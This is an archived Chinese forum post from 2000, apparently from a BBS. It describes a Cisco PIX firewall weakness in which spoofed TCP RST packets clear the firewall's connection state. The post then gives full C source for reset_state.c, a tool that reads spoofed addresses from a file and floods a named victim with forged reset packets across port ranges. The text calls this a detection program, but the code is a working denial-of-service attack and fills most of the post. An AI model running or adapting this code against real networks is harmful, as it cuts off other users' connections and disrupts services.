发信人: netcc() 
整理人: ciert(2000-03-21 18:24:41), 站内信件
 | 
 
 
    如果你在PIX的内部网络界面上运行路由IP地址表,而路由表的IP地址为外部 网络界面上,那么PIX将不能运行NAT。
 PIX对每一个连接都保持一个连接状态表。即使有一个管道允许,但任何从外部到 内部拒绝的连接都不存储在该
 状态表中。这表明任何外部网络如果能发送数据回去,那么必须建立一个从内部 网络到外部网络的连接。
 这是一种好的防护方式,但是下面存在一个小漏洞。
     从一给定的主机以正确的源地址和目标端口接收RST数据包(TCP Reset)时, PIX将丢弃这中特殊的连接。
 这就意味着这种TCP连接由于没有状态规则允许从外部到内部的对话连接而中止。 
     因此,如果我们制作一个标准的raw IP数据包,给定一个TCP头,源地址设置 为内部网络中那台被连接PIX
 管理界面的机器的IP,目标地址为内网中另外一台机器,设置被欺骗的IP的源端 口为连接人员的IP的连接端口。
 设置目标端口为你的目标IP的端口。然后发送该数据包, 那么PIX将丢弃这个状态 连接, 切断他和那个PIX界面
 的连接。该漏洞不适合于firewall-1防火墙系统。当firewall-1接收到一个TCP  Reset,它只是简单的丢弃这种连接作为
 超时。因为不能工作在NAT(地址转移)配置情况下,下面的程序可以在外网界面上 绘制出全部的IP地址。
 然后通过静态的NAT端口通过本地IP地址接入DMZ(非军事区),从而导致D.o.S。
  
 漏洞检测程序如下:
 
 在FreeBSD下面编译通过。
 
 /* reset_state.c (c) 2000 Citec Network Securities */
 /* The code following below is copyright Citec Network Securities */
 /* Code was developed for testing, and is written to compile under */
  /* FreeBSD */
 
 #define __BSD_SOURCE
 #include <stdio.h>
 #include <string.h>
 #include <stdlib.h>
 #include <sys/types.h>
 #include <sys/socket.h>
 #include <sys/wait.h>
 #include <netinet/in.h>
 #include <arpa/inet.h>
 #include <netinet/in_systm.h>
 #include <netinet/ip.h>
 #include <netinet/tcp.h>
 #include <unistd.h>
 #include <time.h>
 #include <netdb.h>
 
 struct slist {
 	struct in_addr  spoof;
 	struct slist   *link;
 };					/* Spoof list */
 
 int
 main(int argc, char *argv[])
 {
 
 	int i, int2;
 	int             sock;		/* Socket stuff */
 	int             on = 1;		/* Socket stuff */
 	struct sockaddr_in sockstruct;	/* Socket stuff */
 	struct ip      *iphead;		/* IP Header pointer */
 	struct tcphdr  *tcphead;	/* TCP Header pointer */
 	char            evilpacket[sizeof(struct ip) + sizeof(struct
 tcphdr)];
 					/* Our reset packet */
 	int             seq, ack;	/* Sequence and Acknowledgement #'s
 */
 	FILE           *spooffile;	/* Spoof file */
 	char           *buffer;		/* Spoof file read buffer */
 	struct slist   *scur, *sfirst;	/* Spoof linked list pointers */
 	char src[20], dst[20];		/* Work around for inet_ntoa static
 */
 					/* Pointers when using printf() */
 	int sourcefrom, sourceto, destfrom, destto;	/* CMD Line ports */
 	int target;			/* Target address from inet_addr()
 */
 
 
 	if(argc < 6) {
 		fprintf(stderr, "Usage: %s spoof_file target sps spe dps
 dpe\n"
 		"target = your victim\n"
 		"sps = Source port start\n"
 		"spe = Source port end\n"
 		"dps = Destination port start\n"
 		"dpe = Destination port end\n", argv[0]);
 		exit(-1);
 		}
 	else {
 		sourcefrom = atoi(argv[3]);
 		sourceto = atoi(argv[4]);
 		destfrom = atoi(argv[5]);
 		destto = atoi(argv[6]);
 		};
 	
 	if(sourcefrom > sourceto) {
 		printf("Error, start source port must be less than end
 source port\n");
 		exit(-1);
 		}
 	else if(destfrom > destto) {
 		printf("Error, start dest port must be less than end dest
 port\n");
 		exit(-1);
 		};
 
 	printf("Used spoof file %s\n"
 	       "Destination: [%s] ports: [%d -> %d]\n"
 	       "Target source ports: [%d -> %d]\n",
 		argv[1], argv[2], destfrom, destto, sourcefrom, sourceto);
 
 	sleep(1);
 
 	bzero(evilpacket, sizeof(evilpacket));
 					/* Clean our reset packet */
 
 	sfirst = malloc(sizeof(struct slist));
 	scur = sfirst;
 	scur->link = NULL;		/* Setup our spoof linked list */
 
 	if(!(buffer = malloc(25))) {
 		perror("malloc");
 		exit(-1);
 		};			/* Allocate for read buffer */
 
 	if ((spooffile = fopen((char *) argv[1], "r")) <= 0) {
 		perror("fopen");
 		exit(-1);		/* Open our spoof file */
 	} else {
 		while (fgets(buffer, 25, spooffile)) { 	/* Read till EOF */
 			if (!(inet_aton(buffer, &(scur->spoof))))
 				printf("Invalid address found in victim
 file.. ignoring\n");
 			else {
 				scur->link = malloc(sizeof(struct slist));
 				scur = scur->link;
 				scur->link = NULL;	/* Cycle l.list */
 				}
 			};		/* End of while loop */
 		};		/* End of if {} else {} */
 	
 
 	free(buffer);			/* Free up our read buffer */
 	fclose(spooffile);		/* Close our spoof file */
 	scur = sfirst;			/* Set spoof list current to first
 */
 
 	if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
 		perror("socket");
 		exit(-1);
 	}				/* Allocate our raw socket */
 
 	if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char *) &on,
 sizeof(on)) < 0) {
 		perror("setsockopt");
 		exit(-1);
 	}				/* Set socket options for raw iphead
 */
 
 	sockstruct.sin_family = AF_INET;
 	iphead = (struct ip *) evilpacket;
 	tcphead = (struct tcphdr *) (evilpacket + sizeof(struct ip));
 					/* Align ip and tcp headers */
 
 	iphead->ip_hl = 5;		/* Ip header length is 5 */
 	iphead->ip_v = 4;		/* ipv4 */
 	iphead->ip_len = sizeof(struct ip) + sizeof(struct tcphdr);
 					/* Length of our total packet */
 	iphead->ip_id = htons(getpid());	/* Packet ID == PID # */
 	iphead->ip_ttl = 255;			/* Time to live == 255 */
 	iphead->ip_p = IPPROTO_TCP;		/* TCP Packet */
 	iphead->ip_sum = 0;			/* No checksum */
 	iphead->ip_tos = 0;			/* 0 Type of Service */
 	iphead->ip_off = 0;			/* Offset is 0 */
 	tcphead->th_win = htons(512);		/* TCP Window is 512 */
 	tcphead->th_flags = TH_RST;		/* Reset packet */
 	tcphead->th_off = 0x50;			/* TCP Offset 0x50 */
 
 	iphead->ip_dst.s_addr = inet_addr(argv[2]);
 
 	srand(getpid());			/* Seed for rand() */
 	while (scur->link != NULL) {
 		seq = rand() % time(NULL);	/* Randomize our #'s */
 		ack = rand() % time(NULL);	/* Randomize ack #'s */
 		sockstruct.sin_port = htons(rand() % time(NULL));
 		iphead->ip_src = scur->spoof;	/* Set the spoofed address
 */
 		sockstruct.sin_addr = scur->spoof;
 		for(i = sourcefrom; i <= sourceto; i++) {
 			for(int2 = destfrom; int2 <= destto; int2++) {
 				usleep(2);	/* Sleep 5ms between packets
 */
 				seq += (rand() %10)+250;
 				ack += (rand() %10)+250;
 				tcphead->th_seq = htonl(seq);
 						/* Set sequence number */
 				tcphead->th_ack = htonl(ack);
 						/* Set ack number */
 				tcphead->th_dport = htons(int2);
 						/* Set destination port */
 				tcphead->th_sport = htons(i);
 						/* Set source port */
 				snprintf(src, 20, "%s",
 inet_ntoa(iphead->ip_src));
 				snprintf(dst, 20, "%s",
 inet_ntoa(iphead->ip_dst));
 				/* Copy info to src and dst for printing */
 				printf("TCP RESET: [%s:%d] -> [%s:%d]\n",
 src, ntohs(tcphead->th_sport), dst, ntohs(tcphead->th_dport));
 				sendto(sock, &evilpacket,
 sizeof(evilpacket), 0x0,
 			       		(struct sockaddr *) & sockstruct,
 sizeof(sockstruct));
 						/* Send our evil packet */
 				};
 			};
 		scur = scur->link;		/* Cycle the spoof ips */
 		}
 		scur = sfirst;
 	return (1);
 
 };
  --                         我思念的城市已是黄昏
                                 为何我总是对你一网情深!
  ※ 来源:.月光软件站 http://www.moon-soft.com.[FROM: 210.75.33.246]
  | 
 
 
 |